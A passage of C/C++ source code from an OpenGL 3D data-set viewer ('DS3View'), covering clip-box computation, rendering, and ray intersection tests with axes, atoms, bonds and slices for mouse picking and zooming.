for (i=0; i<3; i++) {
eye[i]=vectDot3d(p0[0],_this->basinv[i]);
z[i]=vectDot3d(_this->rot[Z],_this->basinv[i]);
}
switch (_this->proj) {
case DS3V_PROJECT_ORTHOGRAPHIC: {
for (i=0; i<3; i++) {
p0[0][i]=vectDot3d(_this->cntr,_this->basinv[i]);
ff[i<<1]=eye[i]<p0[0][i];
ff[(i<<1)+1]=eye[i]>p0[0][i];
}
}
break;
/*case DS3V_PROJECT_PERSPECTIVE :*/
default : {
for (i=0; i<3; i++) {
ff[i<<1]=eye[i]<b[0][i];
ff[(i<<1)+1]=eye[i]>b[7][i];
}
}
break;
}
/*Set up the clip planes*/
ds3ViewGetUnprojRay(_this,_x0,_y0,p0[0],p1[0]);
ds3ViewGetUnprojRay(_this,_x0,_y1,p0[1],p1[1]);
ds3ViewGetUnprojRay(_this,_x1,_y1,p0[2],p1[2]);
ds3ViewGetUnprojRay(_this,_x1,_y0,p0[3],p1[3]);
for (i=0; i<4; i++) {
Vect3d p;
vectSet3dv(p,p0[i]);
for (j=0; j<3; j++)p0[i][j]=vectDot3d(_this->basinv[j],p);
vectSet3dv(p,p1[i]);
for (j=0; j<3; j++)p1[i][j]=vectDot3d(_this->basinv[j],p);
}
for (i=0; i<4; i++) {
Vect3d d0;
Vect3d d1;
j = (i + 1) & 3;
vectSub3d(d0,p1[i],p0[i]);
vectSub3d(d1,p1[j],p0[i]);
vectCross3d(plane[i],d0,d1);
plane[i][W]=-vectDot3d(p0[i],plane[i]);
}
for (k=0; k<4; k++)for (i=0; i<8; i++)d[k][i]=vectDot3d(b[i],plane[k])+plane[k][W];
for (;;) {
for (k=0; k<4; k++) { /*Make sure the clip box is never completely outside the*/
for (i=0; i<8; i++)if (d[k][i]>=0)break; /*clip rectangle. If so, abort*/
if (i>=8)return 0;
}
/*Generate intersection points*/
nisects=0;
for (i=0; i<7; i++)for (j=0; j<3; j++)if (!(i&1<<j)) {
for (l=0; l<3; l++)if (l!=j&&ff[(l<<1)+((i&1<<l)?1:0)])break;
if (l>=3)continue;
for (k=0; k<4; k++) {
if (d[k][i]<-1E-8&&d[k][i|1<<j]>1E-8&&fabs(plane[k][j])>=1E-16) {
double t;
t=b[i][j]-d[k][i]/plane[k][j];
if (b[0][j]>=t||t>b[7][j]) {
t=b[i|1<<j][j]-d[k][i|1<<j]/plane[k][j];
}
if (b[0][j]<t&&t<=b[7][j]) {
isects[nisects].idx=i;
isects[nisects].axs=j;
isects[nisects].pln=k;
isects[nisects].dir=0;
isects[nisects++].t=t;
}
} else if (d[k][i]>1E-8&&d[k][i|1<<j]<-1E-8&&fabs(plane[k][j])>=1E-16) {
double t;
t=b[i][j]-d[k][i]/plane[k][j];
if (b[7][j]<=t||t<b[0][j]) {
t=b[i|1<<j][j]-d[k][i|1<<j]/plane[k][j];
}
if (b[7][j]>t&&t>=b[0][j]) {
isects[nisects].idx=i;
isects[nisects].axs=j;
isects[nisects].pln=k;
isects[nisects].dir=1;
isects[nisects++].t=t;
}
}
}
}
/*Pick intersection point closest to the eye*/
l=-1;
for (i=0; i<nisects; i++) {
DS3EdgeIsect *s;
Vect3d p;
double t;
s=&isects[i];
vectSet3dv(p,b[s->idx|s->dir<<s->axs]);
p[s->axs]=s->t;
vectSub3d(p,p,eye);
t=vectDot3d(z,p);
if (l<0||t>id) {
l=i;
id=t;
}
}
/*Do the intersection*/
if (l>=0) {
DS3EdgeIsect *s;
s=&isects[l];
for (i=0; i<8; i++)if ((i&1<<s->axs?1:0)==s->dir) {
b[i][s->axs]=s->t;
for (k=0; k<4; k++)d[k][i]=vectDot3d(b[i],plane[k])+plane[k][W];
}
/*if(_this->proj!=DS3V_PROJECT_ORTHOGRAPHIC){
if(!s->dir)ff[s->axs<<1]=eye[s->axs]<b[0][s->axs];
else ff[(s->axs<<1)+s->dir]=eye[s->axs]>b[7][s->axs];}*/
} else break;
}
vectSet3dv(_box[0],b[0]);
vectSet3dv(_box[1],b[7]);
return 1;
}
static void ds3ViewPeerDisplayChildren(DS3View *_this,
const GLWCallbacks *_cb)
{
GLWComponent *p;
int dx,dy;
for (dx=0,p=&_this->super; p!=NULL; p=p->parent)dx+=p->bounds.x;
for (dy=0,p=&_this->super; p!=NULL; p=p->parent)dy+=p->bounds.y;
if (_this->ds3!=NULL&&_this->super.bounds.w>0&&_this->super.bounds.h>0) {
static const GLfloat LIGHT0_A[4]={0.15F,0.15F,0.15F,1.F};
static const GLfloat LIGHT0_D[4]={0.65F,0.65F,0.65F,1.F};
static const GLfloat LIGHT0_S[4]={0.25F,0.25F,0.25F,1.F};
static const GLfloat LIGHT1_A[4]={0.575F,0.575F,0.575F,1.F};
static const GLfloat LIGHT1_D[4]={0.825F,0.825F,0.825F,1.F};
static const GLfloat LIGHT1_S[4]={0.625F,0.625F,0.625F,1.F};
static const GLfloat LIGHT_P[4]={-1.F,1.F,0.F,0.F};
GLdouble aspect;
GLdouble zoom;
GLdouble offs;
glPushAttrib(GL_ALL_ATTRIB_BITS);
glScissor(dx,dy,_this->super.bounds.w,_this->super.bounds.h);
glEnable(GL_SCISSOR_TEST);
glViewport(dx,dy,_this->super.bounds.w,_this->super.bounds.h);
glClear(GL_DEPTH_BUFFER_BIT|GL_COLOR_BUFFER_BIT);
glEnable(GL_DEPTH_TEST);
glMatrixMode(GL_PROJECTION); /*Set up the viewing transformation:*/
glLoadIdentity();
aspect=_this->super.bounds.w*DS3V_ASPECT/_this->super.bounds.h;
zoom=(6.0/256)*(_this->offs>_this->zoom?_this->offs:_this->zoom);
offs=_this->zoom<1E-4?1E-4:_this->zoom;
switch (_this->proj) {
case DS3V_PROJECT_ORTHOGRAPHIC: {
if (aspect>=1) {
glOrtho(-offs*aspect,offs*aspect,-offs,offs,zoom,256*zoom);
} else {
glOrtho(-offs,offs,-offs/aspect,offs/aspect,zoom,256*zoom);
}
}
break;
/*case DS3V_PROJECT_PERSPECTIVE :*/
default : {
if (aspect>=1)glFrustum(-zoom*aspect,zoom*aspect,-zoom,zoom,zoom,256*zoom);
else glFrustum(-zoom,zoom,-zoom/aspect,zoom/aspect,zoom,256*zoom);
}
break;
}
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
if (_this->draw_points||_this->draw_iso) { /*These items are lighted*/
glLightfv(GL_LIGHT0,GL_AMBIENT,LIGHT0_A);
glLightfv(GL_LIGHT0,GL_DIFFUSE,LIGHT0_D);
glLightfv(GL_LIGHT0,GL_SPECULAR,LIGHT0_S);
glLightfv(GL_LIGHT0,GL_POSITION,LIGHT_P);
if ((_this->track_mp >= 0 && glwCompIsCapturing(&_this->cm_pts.super))
# if defined(__DS3_ADD_BONDS__)
|| (_this->track_mbf >= 0 && glwCompIsCapturing(&_this->cm_bnds.super))
# endif
) {
glLightfv(GL_LIGHT1,GL_AMBIENT,LIGHT1_A);
glLightfv(GL_LIGHT1,GL_DIFFUSE,LIGHT1_D);
glLightfv(GL_LIGHT1,GL_SPECULAR,LIGHT1_S);
glLightfv(GL_LIGHT1,GL_POSITION,LIGHT_P);
}
glEnable(GL_LIGHT0);
}
glTranslated(0,0,-_this->zoom);
glRotated(_this->roll,0,0,1);
glRotated(_this->pitch,0,1,0);
glRotated(_this->yaw,1,0,0);
glTranslated(-_this->cntr[0],-_this->cntr[1],-_this->cntr[2]);
# if defined(__DS3_ADD_BONDS__)
if (_this->draw_slice||_this->draw_iso||_this->draw_points) {
# else
if (_this->draw_slice||_this->draw_iso) { /*These items are clipped*/
# endif
GLdouble plane[4];
int i;
glPushMatrix();
glMultMatrixd(_this->basis);
plane[Y]=plane[Z]=0;
for (i=0; i<3; i++) {
plane[i]=1;
plane[W]=-_this->box[0][i]+1E-4;
glClipPlane(GL_CLIP_PLANE0+(i<<1),plane);
plane[i]=-1;
plane[W]=_this->box[1][i]+1E-4;
glClipPlane(GL_CLIP_PLANE0+(i<<1)+1,plane);
plane[i]=0;
}
glPopMatrix();
}
if (_this->draw_coords) { /*Draw axes*/
glwCompDisplay(&_this->cm_axes.super);
}
if (_this->draw_points) { /*Draw the points*/
# if defined(__DS3_ADD_BONDS__)
glwCompDisplay(&_this->cm_bnds.super);
# endif
glwCompDisplay(&_this->cm_pts.super);
}
if (_this->draw_iso) { /*Draw the iso-surface*/
glwCompDisplay(&_this->cm_iso.super);
}
// The slice must be rendered after the iso-surface, since
// it's opaque and should thus cull the iso-surface behind it.
if (_this->draw_slice) { /*Draw the data slice*/
glwCompDisplay(&_this->cm_slice.super);
}
if (_this->draw_coords) { /*Draw bounding box*/
glwCompDisplay(&_this->cm_box.super);
}
if (_this->track_cb) { /*Draw the projected clip box*/
Vect3d box[2];
if (ds3ViewGetClipBox(_this,_this->track_cx,_this->track_cy,
_this->track_mx,_this->track_my,box)) {
GLWcolor c;
int i;
int j;
int k;
c=glwColorBlend(_this->super.forec,DS3V_FOCUS_COLOR);
glwColor(c);
glPushMatrix();
glMultMatrixd(_this->basis);
glBegin(GL_LINES);
for (i=0; i<7; i++)for (j=0; j<3; j++)if (!(i&1<<j)) {
Vect3d p0;
Vect3d p1;
for (k=0; k<3; k++) {
if (j!=k)p0[k]=p1[k]=box[(i&1<<k)?1:0][k];
else {
p0[k]=_this->box[0][k];
p1[k]=_this->box[1][k];
}
}
glVertex3dv(p0);
glVertex3dv(p1);
}
glEnd();
glwColor(c&0x3FFFFFFF);
glBlendFunc(GL_SRC_ALPHA,GL_ONE_MINUS_SRC_ALPHA);
glEnable(GL_BLEND);
glBegin(GL_QUADS);
for (i=0; i<6; i++) {
int xbit;
int ybit;
int zbit;
zbit=1<<(i>>1);
zbit=zbit<<3|zbit;
xbit=zbit>>1&7;
ybit=zbit>>2&7;
zbit=(i&1)?(zbit&7):0;
glVertex3d(box[zbit&1][X],box[(zbit&2)>>1][Y],box[(zbit&4)>>2][Z]);
zbit|=xbit;
glVertex3d(box[zbit&1][X],box[(zbit&2)>>1][Y],box[(zbit&4)>>2][Z]);
zbit|=ybit;
glVertex3d(box[zbit&1][X],box[(zbit&2)>>1][Y],box[(zbit&4)>>2][Z]);
zbit^=xbit;
glVertex3d(box[zbit&1][X],box[(zbit&2)>>1][Y],box[(zbit&4)>>2][Z]);
}
glEnd();
glPopMatrix();
}
}
glPopAttrib();
}
if (_this->track_cb) { /*Draw the clip box*/
glPushAttrib(GL_SCISSOR_BIT|GL_CURRENT_BIT|
GL_VIEWPORT_BIT|GL_TRANSFORM_BIT);
glScissor(dx,dy,_this->super.bounds.w,_this->super.bounds.h);
glEnable(GL_SCISSOR_TEST);
glViewport(dx,dy,_this->super.bounds.w,_this->super.bounds.h);
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
gluOrtho2D(0-1E-4,_this->super.bounds.w-1E-4,
0-1E-4,_this->super.bounds.h-1E-4);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
glwColor(_this->super.forec);
glBegin(GL_LINE_LOOP);
glVertex2i(_this->track_mx,_this->track_my);
glVertex2i(_this->track_mx,_this->track_cy);
glVertex2i(_this->track_cx,_this->track_cy);
glVertex2i(_this->track_cx,_this->track_my);
glEnd();
glPopAttrib();
}
}
/*Gets the intersection between a ray and a line segment. The ray must
be non-zero, and is specified by two points, p0 and p1. The line is
defined by endpoints q0 and q1. The lines must come within e of each
other for them to be considered intersecting. The returned intersection
point is always the point on the line segment that is closest to the
ray. If there is more than one such point, the one closest to the
origin of the ray is returned.
p: The returned point of intersection
t: The parametric position on the ray of the point of intersection
p0: The origin of the ray
p1: A point along the ray
q0: The start of the line segment
q1: The end of the line segment
e: The maximum distance to the line still considered an intersection
Return: 0 iff there was no point of intersection*/
static int ds3ViewGetRayLineISect(DS3View *_this,Vect3d _p,double *_t,
const Vect3d _p0,const Vect3d _p1,
const Vect3d _q0,const Vect3d _q1,
double _e) {
Vect3d dp;
Vect3d dq;
Vect3d d0;
Vect3d p;
double a,b,c,d,e,f,s,t;
vectSub3d(dp,_p1,_p0);
vectSub3d(dq,_q1,_q0);
a=vectMag2_3d(dp);
b=vectDot3d(dp,dq);
c=vectMag2_3d(dq);
vectSub3d(d0,_q0,_p0);
e=vectDot3d(d0,dp);
f=vectDot3d(d0,dq);
d=a*c-b*b;
s=c*e-b*f;
t=b*e-a*f;
if (d<0) {
d=-d;
s=-s;
t=-t;
}
if (d<1E-100) { /*Degenerate case: try endpoints of line segment*/
Vect3d d1;
/*a is the length^2 of the ray: always >> 0*/
s=-e/a;
if (s<0)s=0;
t=(b-e)/a;
if (t<0)t=0;
vectMul3d(p,dp,s);
vectAdd3d(p,p,_p0);
vectSub3d(d0,p,_q0);
vectMul3d(p,dp,t);
vectAdd3d(p,p,_p0);
vectSub3d(d1,p,_q1);
if (vectMag2_3d(d0)<_e*_e) {
if (vectMag2_3d(d1)<_e*_e&&t<s) {
vectSet3dv(_p,_q1);
*_t=t;
} else {
vectSet3dv(_p,_q0);
*_t=s;
}
return 1;
} else if (vectMag2_3d(d1)<_e*_e) {
vectSet3dv(_p,_q1);
*_t=t;
return 1;
}
} else { /*Exactly one solution*/
if (s<0)s=0;
else s/=d;
if (t<0)t=0;
else if (t>d)t=1;
else t/=d;
vectMul3d(p,dp,s);
vectAdd3d(p,p,_p0);
vectMul3d(_p,dq,t);
vectAdd3d(_p,_p,_q0);
vectSub3d(p,p,_p);
if (vectMag2_3d(p)<_e*_e) {
*_t=s;
return 1;
}
}
return 0;
}
/*Gets the closest intersection point (the one with the smallest t) with the
mouse position and the coordinate axes (and clip box). The mouse position
ray must be non-zero
p: The returned intersection point
t: The parametric position on the ray of the point of intersection
p0: The origin of the unprojected mouse ray
p1: A point along the unprojected mouse ray
Return: 0 iff there was no point of intersection*/
static int ds3ViewGetAxesPoint(DS3View *_this,Vect3d _p,double *_t,
const Vect3d _p0,const Vect3d _p1) {
int ret;
ret=0;
if (_this->ds3!=NULL) {
double e;
e=_this->super.bounds.w*_this->super.bounds.h;
if (e>0) {
Vect3d p;
Vect3d o[2][3];
Vect3d b[8];
double t;
int i;
int j;
int k;
e=64*sqrt(1/e)*_this->zoom;
if (_this->offs>1E-16)e/=_this->offs;
for (i=0; i<2; i++)for (j=0; j<3; j++) {
for (k=0; k<3; k++)o[i][j][k]=_this->ds3->basis[k][j]*_this->box[i][j];
}
for (i=0; i<8; i++) {
vectSet3d(b[i],0,0,0);
for (j=0; j<3; j++)vectAdd3d(b[i],b[i],o[(i&1<<j)?1:0][j]);
}
for (i=0,k=3; i<7; i++)for (j=1; j<8; j<<=1)if (!(i&j)) {
if (ds3ViewGetRayLineISect(_this,p,&t,_p0,_p1,b[i],b[i|j],e)) {
if (!ret||t<*_t) {
_this->track_ax=k;
*_t=t;
vectSet3dv(_p,p);
ret=1;
}
}
k++;
}
for (j=0; j<3; j++)if (_this->box[0][j]>0)vectSet3d(o[0][j],0,0,0);
for (j=0; j<3; j++)if (_this->box[1][j]<1) {
for (k=0; k<3; k++)o[1][j][k]=_this->ds3->basis[k][j];
}
for (j=0; j<3; j++) {
if (ds3ViewGetRayLineISect(_this,p,&t,_p0,_p1,o[0][j],o[1][j],e)) {
if (!ret||t<=*_t) {
_this->track_ax=j;
*_t=t;
vectSet3dv(_p,p);
ret=1;
}
}
}
}
}
if (!ret)_this->track_ax=-1;
return ret;
}
/*Gets the closest intersection point (the one with the smallest t) between
a ray and a sphere. The ray must be non-zero.
p: The point of intersection
t: The parametric position on the ray of the point of intersection
p0: The origin of the ray
p1: A point along the ray
c: The center of the sphere
r: The radius of the sphere
Return: 0 iff there was no intersection point*/
static int ds3ViewRaySphereISect(DS3View *_this,Vect3d _p,double *_t,
const Vect3d _p0,const Vect3d _p1,
const Vect3d _c,double _r) {
Vect3d p0;
Vect3d dp;
double a,b,c,d;
vectSub3d(dp,_p1,_p0);
vectSub3d(p0,_p0,_c);
a=vectMag2_3d(dp);
b=vectDot3d(dp,p0);
c=vectMag2_3d(p0)-_r*_r;
d=b*b-a*c;
if (d<0)return 0;
*_t=(-b-sqrt(d))/a;
if (*_t<0)return 0;
vectMul3d(_p,dp,*_t);
vectAdd3d(_p,_p,_p0);
return 1;
}
/*Gets the closest intersection point (the one with the smallest t) with the
mouse position and any of the atoms that are currently visible. The mouse
position ray must be non-zero
p: The returned intersection point
t: The parametric position on the ray of the point of intersection
p0: The origin of the unprojected mouse ray
p1: A point along the unprojected mouse ray
Return: 0 iff there was no point of intersection*/
static int ds3ViewGetPointsPoint(DS3View *_this,Vect3d _p,double *_t,
const Vect3d _p0,const Vect3d _p1) {
int ret;
ret=0;
if (_this->ds3!=NULL) {
int x[3];
int x0[3];
int x1[3];
size_t i;
int j;
for (j=0; j<3; j++) {
x0[j]=(int)floor(_this->box[0][j]);
x1[j]=(int)ceil(_this->box[1][j]);
}
for (x[X]=x0[X]; x[X]<x1[X]; x[X]++) {
for (x[Y]=x0[Y]; x[Y]<x1[Y]; x[Y]++) {
for (x[Z]=x0[Z]; x[Z]<x1[Z]; x[Z]++) {
for (i=0; i<_this->ds3->npoints; i++) {
if (ds3ViewGetPointVisible(_this,(long)i)||
((size_t)_this->track_sp == i && glwCompIsFocused(&_this->cm_pts.super))) {
Vect3d p;
Vect3d q;
double t;
for (j=0; j<3; j++) { /*Make sure point falls within our box*/
double d;
d=_this->ds3->points[i].pos[j]+x[j];
if (d<_this->box[0][j]||d>_this->box[1][j])break;
}
if (j!=3)continue;
/*It would probably be faster to back-transform the ray into data-set
coordinates, but the basis matrix is not guaranteed to be invertible*/
vectSet3d(q,_this->ds3->points[i].pos[X]+x[X],
_this->ds3->points[i].pos[Y]+x[Y],
_this->ds3->points[i].pos[Z]+x[Z]);
for (j=0; j<3; j++)p[j]=vectDot3d(_this->ds3->basis[j],q);
if (ds3ViewRaySphereISect(_this,p,&t,_p0,_p1,p,_this->point_r)) {
if (!ret||t<*_t) {
_this->track_mp=(long)i;
vectSet3dv(_p,p);
*_t=t;
ret=1;
}
}
}
}
}
}
}
}
if (!ret)_this->track_mp=-1;
return ret;
}
# if defined(__DS3_ADD_BONDS__)
/*Gets the closest intersection point (the one with the smallest t) with the
mouse position and any of the bonds that are currently visible. The mouse
position ray must be non-zero
p: The returned intersection point
t: The parametric position on the ray of the point of intersection
p0: The origin of the unprojected mouse ray
p1: A point along the unprojected mouse ray
Return: 0 iff there was no point of intersection*/
static int ds3ViewGetBondsPoint(DS3View *_this,Vect3d _p,double *_t,
const Vect3d _p0,const Vect3d _p1) {
int ret;
ret=0;
if (_this->bonds.nbonds>0) {
double e;
e=_this->super.bounds.w*_this->super.bounds.h;
if (e>0) {
DS3Bonds *bonds;
int x[3];
int x0[3];
int x1[3];
long i;
long j;
long k;
int l;
e=32*sqrt(1/e);
bonds=&_this->bonds;
for (l=0; l<3; l++) {
x0[l]=(int)floor(_this->box[0][l])-1;
x1[l]=(int)ceil(_this->box[1][l]);
}
for (x[X]=x0[X]; x[X]<x1[X]; x[X]++) {
for (x[Y]=x0[Y]; x[Y]<x1[Y]; x[Y]++) {
for (x[Z]=x0[Z]; x[Z]<x1[Z]; x[Z]++) {
for (i=0,j=0; j<bonds->natoms-1; j++) {
if (ds3ViewGetPointVisible(_this,j)) {
for (k=j+1; k<bonds->natoms; k++,i++) {
if (ds3ViewGetPointVisible(_this,k)&&bonds->bonds[i]>0) {
Vect3d p0;
Vect3d p1;
Vect3d q0;
Vect3d q1;
Vect3d p;
double t;
double d;
vectSet3d(q0,_this->ds3->points[j].pos[X]+x[X],
_this->ds3->points[j].pos[Y]+x[Y],
_this->ds3->points[j].pos[Z]+x[Z]);
vectSet3d(q1,_this->ds3->points[k].pos[X]+x[X],
_this->ds3->points[k].pos[Y]+x[Y],
_this->ds3->points[k].pos[Z]+x[Z]);
for (l=0; l<3; l++) {
d=q0[l]-q1[l];
if (d<-0.5)q0[l]+=1;
else if (d>0.5)q1[l]+=1;
}
for (l=0; l<3; l++) { /*Clip the ray against our actual box bounds*/
if (q0[l]<_this->box[0][l]) {
double t;
if (q1[l]<_this->box[0][l])break;
t=(_this->box[0][l]-q0[l])/(q1[l]-q0[l]);
if (t<0||t>1)t=1;
vectSub3d(p0,q1,q0);
vectMul3d(p0,p0,t);
vectAdd3d(q0,q0,p0);
}
if (q0[l]>_this->box[1][l]) {
double t;
if (q1[l]>_this->box[1][l])break;
t=(_this->box[1][l]-q0[l])/(q1[l]-q0[l]);
if (t<0||t>1)t=1;
vectSub3d(p0,q1,q0);
vectMul3d(p0,p0,t);
vectAdd3d(q0,q0,p0);
}
if (q1[l]<_this->box[0][l]) {
double t;
if (q0[l]<_this->box[0][l])break;
t=(_this->box[0][l]-q1[l])/(q0[l]-q1[l]);
if (t<0||t>1)t=1;
vectSub3d(p0,q0,q1);
vectMul3d(p0,p0,t);
vectAdd3d(q1,q1,p0);
}
if (q1[l]>_this->box[1][l]) {
double t;
if (q0[l]>_this->box[1][l])break;
t=(_this->box[1][l]-q1[l])/(q0[l]-q1[l]);
if (t<0||t>1)t=1;
vectSub3d(p0,q0,q1);
vectMul3d(p0,p0,t);
vectAdd3d(q1,q1,p0);
}
}
if (l!=3)continue;
for (l=0; l<3; l++) { /*Transform points into world-coordinates*/
p0[l]=vectDot3d(_this->ds3->basis[l],q0);
p1[l]=vectDot3d(_this->ds3->basis[l],q1);
}
if (ds3ViewGetRayLineISect(_this,p,&t,_p0,_p1,p0,p1,
bonds->bonds[i]*_this->point_r+e)) {
if (!ret||t<*_t) {
_this->track_mbf=j;
_this->track_mbt=k;
*_t=t;
vectSet3dv(_p,p);
ret=1;
}
}
}
}
} else i+=bonds->natoms-1-j;
}
}
}
}
}
}
if (!ret)_this->track_mbf=_this->track_mbt=-1;
return ret;
}
# endif
/*Gets the closest intersection point (the one with the smallest t) with the
mouse position and the slice. The mouse position ray must be non-zero
p: The returned intersection point
t: The parametric position on the ray of the point of intersection
p0: The origin of the unprojected mouse ray
p1: A point along the unprojected mouse ray
Return: 0 iff there was no point of intersection*/
static int ds3ViewGetSlicePoint(DS3View *_this,Vect3d _p,double *_t,
const Vect3d _p0,const Vect3d _p1) {
int ret;
ret=0;
if (_this->ds3!=NULL) {
Vect3d dp;
Vect3d m;
Vect3d n;
double d;
double a;
int i;
int j;
m[X]=_this->strans[X][Z];
m[Y]=_this->strans[Y][Z];
m[Z]=_this->strans[Z][Z];
for (i=0; i<3; i++) {
n[i]=0;
for (j=0; j<3; j++)n[i]+=m[j]*_this->basinv[j][i];
}
d=(m[X]+m[Y]+m[Z])*0.5+_this->slice_d;
vectSub3d(dp,_p1,_p0);
a=vectDot3d(dp,n);
if (fabs(a)>=1E-16) {
*_t=(d-vectDot3d(_p0,n))/a;
vectMul3d(_p,dp,*_t);
vectAdd3d(_p,_p,_p0);
for (i=0; i<3; i++)m[i]=vectDot3d(_this->basinv[i],_p);
for (i=0; i<3; i++)if (m[i]<_this->box[0][i]||m[i]>_this->box[1][i])break;
if (i==3) {
long x[3];
for (i=0; i<3; i++) {
x[i]=(long)fmod(m[i]*_this->ds3->density[i],_this->ds3->density[i]);
if (x[i]<0)x[i]+=_this->ds3->density[i];
}
if (x[X]!=_this->track_dx||x[Y]!=_this->track_dy||x[Z]!=_this->track_dz) {
_this->track_dx=x[X];
_this->track_dy=x[Y];
_this->track_dz=x[Z];
if (_this->data_changed_func!=NULL) {
_this->data_changed_func(_this->data_changed_ctx,
&_this->super);
}
}
ret=1;
}
}
}
if (!ret) {
if (_this->track_dx>=0) {
_this->track_dx=-1;
if (_this->data_changed_func!=NULL) {
_this->data_changed_func(_this->data_changed_ctx,&_this->super);
}
}
}
return ret;
}
/*Converts the mouse position into a ray in world coordinates, and then
intersects it with all the currently visible objects. The closest object
that the ray intersects (if any) is given mouse capture
x: The x-coordinate of the current mouse position
y: The y-coordinate of the current mouse position*/
static void ds3ViewTransferCapture(DS3View *_this,int _x,int _y) {
Vect3d p;
double t = 0;
GLWComponent *cap;
cap=NULL;
if (_this->ds3!=NULL) {
ds3ViewGetUnprojRay(_this,_x,_y,_this->track_p0,_this->track_p1);
if (_this->draw_coords&&
ds3ViewGetAxesPoint(_this,_this->track_pt,&_this->track_t,
_this->track_p0,_this->track_p1)) {
cap=&_this->cm_axes.super;
}
if (_this->draw_points&&
ds3ViewGetPointsPoint(_this,p,&t,_this->track_p0,_this->track_p1)) {
if (cap==NULL||t<_this->track_t) {
cap=&_this->cm_pts.super;
vectSet3dv(_this->track_pt,p);
_this->track_t=t;
}
}
# if defined(__DS3_ADD_BONDS__)
if (_this->draw_points&&
ds3ViewGetBondsPoint(_this,p,&t,_this->track_p0,_this->track_p1)) {
if (cap==NULL||t<_this->track_t) {
cap=&_this->cm_bnds.super;
vectSet3dv(_this->track_pt,p);
_this->track_t=t;
}
}
# endif
if (_this->draw_slice&&
ds3ViewGetSlicePoint(_this,p,&t,_this->track_p0,_this->track_p1)) {
if (cap==NULL||t<_this->track_t) {
cap=&_this->cm_slice.super;
vectSet3dv(_this->track_pt,p);
_this->track_t=t;
}
}
}
glwCompRequestCapture(&_this->super,cap);
}
static int ds3ViewPeerMouse(DS3View *_this,const GLWCallbacks *_cb,
int _b,int _s,int _x,int _y) {
ds3ViewTransferCapture(_this,_x,_y);
if (_s)_this->super.mouse_b|=1<<_b;
else _this->super.mouse_b&=~(1<<_b);
if (_this->super.capture!=NULL) {
return glwCompMouse(_this->super.capture,_b,_s,_x,_y);
} else if (_this->ds3!=NULL) {
if (_s) {
if (_this->track_sp>=0)ds3ViewSetSelectedPoint(_this,-1-_this->track_sp);
# if defined(__DS3_ADD_BONDS__)
if (_this->track_sbf>=0) {
ds3ViewSetSelectedBond(_this,-1-_this->track_sbf,_this->track_sbt);
}
# endif
glwCompRequestFocus(&_this->cm_axes.super);
}
if (_b==GLUT_LEFT_BUTTON) {
if (_s) {
_this->track_cb=1;
_this->track_mx=_this->track_cx=_x;
_this->track_my=_this->track_cy=_y;
} else {
Vect3d box[2];
_this->track_cb=0;
glwCompRepaint(&_this->super,0);
if (ds3ViewGetClipBox(_this,_this->track_cx,_this->track_cy,_x,_y,box)) {
DS3ViewParams view;
vectSet3dv(view.box[0],_this->box[0]);
vectSet3dv(view.box[1],_this->box[1]);
vectSet3dv(view.cntr,_this->cntr);
view.zoom=_this->zoom;
if ((box[0][X]!=_this->box[0][X]||
box[0][Y]!=_this->box[0][Y]||
box[0][Z]!=_this->box[0][Z]||
box[1][X]!=_this->box[1][X]||
box[1][Y]!=_this->box[1][Y]||
box[1][Z]!=_this->box[1][Z])) {
Vect3d p,q,c;
double d,e;
int i,j;
_this->view_stack.push_back(view);
vectSub3d(q,_this->box[1],_this->box[0]);
ds3ViewSetBox(_this,box[0][X],box[0][Y],box[0][Z],
box[1][X],box[1][Y],box[1][Z]);
vectAdd3d(p,box[0],box[1]);
vectMul3d(p,p,0.5);
for (i=0; i<3; i++) {
c[i]=0;
for (j=0; j<3; j++)c[i]+=_this->ds3->basis[j][i]*p[j];
}
ds3ViewSetCenter(_this,c[X],c[Y],c[Z]);
vectSub3d(p,box[1],box[0]);
d=vectMag2_3d(p);
e=vectMag2_3d(q);
if (e>1E-100)d/=e;
else d*=1.0/3;
ds3ViewSetZoom(_this,sqrt(d)*_this->zoom);
}
}
}
} else if (_b==GLUT_RIGHT_BUTTON&&_s) {
if (_this->view_stack.size() > 0) {
const DS3ViewParams& p
= _this->view_stack[_this->view_stack.size() - 1];
ds3ViewSetBox(_this, p.box[0][X], p.box[0][Y], p.box[0][Z],
p.box[1][X], p.box[1][Y], p.box[1][Z]);
ds3ViewSetCenter(_this, p.cntr[X], p.cntr[Y], p.cntr[Z]);
ds3ViewSetZoom(_this, p.zoom);
_this->view_stack.resize(_this->view_stack.size() - 1);
} else {
ds3ViewSetBox(_this,0,0,0,1,1,1);
ds3ViewSetCenter(_this,_this->ds3->center[X],
_this->ds3->center[Y],_this->ds3->center[Z]);
ds3ViewSetZoom(_this,_this->offs);
}
} else return 1;
return -1;
}
return 0;
}
static int ds3ViewPeerMotion(DS3View *_this,const GLWCallbacks *_cb,
int _x,int _y) {
int ret;
ret=glwCompSuperMotion(&_this->super,_cb,_x,_y);
if (ret>=0&&_this->track_cb) {
_this->track_mx=_x;
_this->track_my=_y;
glwCompRepaint(&_this->super,0);
ret=-1;
}
return ret;
}
static int ds3ViewPeerPassiveMotion(DS3View *_this,const GLWCallbacks *_cb,
int _x,int _y) {
ds3ViewTransferCapture(_this,_x,_y);
if (_this->super.capture!=NULL) {
return glwCompPassiveMotion(_this->super.capture,_x,_y);
}
return 0;
}
static void ds3ViewPeerDispose(DS3View *_this,const GLWCallbacks *_cb) {
_this->ds3=NULL;
# if defined(__DS3_ADD_BONDS__)
ds3BondsReset(&_this->bonds, 0);
# endif
ds3SliceDstr(&_this->slice,_this);
_this->iso.clear();
}
const GLWCallbacks DS3_VIEW_CALLBACKS= {
&GLW_COMPONENT_CALLBACKS,
(GLWDisposeFunc)ds3ViewPeerDispose,
NULL,
(GLWDisplayFunc)ds3ViewPeerDisplayChildren,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
(GLWMouseFunc)ds3ViewPeerMouse,
(GLWMotionFunc)ds3ViewPeerMotion,
(GLWMotionFunc)ds3ViewPeerPassiveMotion
};
DS3ViewComp::DS3ViewComp(DS3View* ds3view) {
this->ds3view = ds3view;
}
DS3View::DS3View() : cm_axes(this),
cm_box(this),
cm_pts(this),
#if defined(__DS3_ADD_BONDS__)
cm_bnds(this),
#endif
cm_slice(this),
cm_iso(this) {
if (glwCompAdd(&this->super,&this->cm_axes.super,-1)&&
glwCompAdd(&this->super,&this->cm_box.super,-1)&&
glwCompAdd(&this->super,&this->cm_slice.super,-1)&&
glwCompAdd(&this->super,&this->cm_iso.super,-1)&&
# if defined(__DS3_ADD_BONDS__)
